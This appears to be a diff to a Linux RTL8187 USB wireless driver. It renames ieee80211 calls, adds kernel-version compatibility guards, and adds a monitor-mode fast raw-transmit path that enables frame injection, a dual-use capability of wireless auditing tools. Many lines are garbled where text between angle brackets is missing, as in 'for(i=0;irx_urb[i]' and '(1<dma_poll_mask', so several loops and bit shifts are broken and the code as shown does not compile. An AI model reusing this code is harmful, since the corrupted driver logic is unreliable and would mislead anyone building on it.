+1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + 